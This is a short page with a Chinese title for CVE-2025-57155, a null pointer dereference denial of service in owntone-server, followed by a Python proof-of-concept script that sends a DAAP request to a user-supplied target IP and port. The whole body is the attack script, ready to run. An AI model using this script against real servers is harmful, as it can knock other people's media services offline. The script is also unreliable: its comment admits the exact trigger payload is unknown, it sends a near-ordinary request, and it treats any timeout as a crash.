CVE-2025-57155: owntone-server daap_reply_groups函数空指针解引用拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-57155 PoC - owntone-server NULL pointer dereference This PoC demonstrates the NULL pointer dereference in daap_reply_groups function. """ import socket import sys def send_daap_request(target_ip, target_port=3689): """ Send a crafted DAAP request to trigger the NULL pointer dereference in the daap_reply_groups function in src/httpd_daap.c """ # Crafted DAAP request that triggers the vulnerability # The exact payload depends on the specific vulnerability trigger conditions daap_request = ( b'GET /databases/1/containers HTTP/1.1\r\n' b'Host: ' + target_ip.encode() + b'\r\n' b'Accept: */*\r\n' b'Client-DAAP-Version: 3.0\r\n' b'User-Agent: iTunes/12.0.1 (Windows; N;) \n' b'Connection: close\r\n' b'\r\n' ) try: print(f'[*] Sending crafted DAAP request to {target_ip}:{target_port}') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(daap_request) # Wait for response response = sock.recv(4096) print(f'[*] Received response: {response[:100]}') sock.close() print('[+] Request sent successfully') return True except socket.timeout: print('[-] Connection timeout - service may have crashed!') return True except Exception as e: print(f'[-] Error: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 3689 send_daap_request(target, port)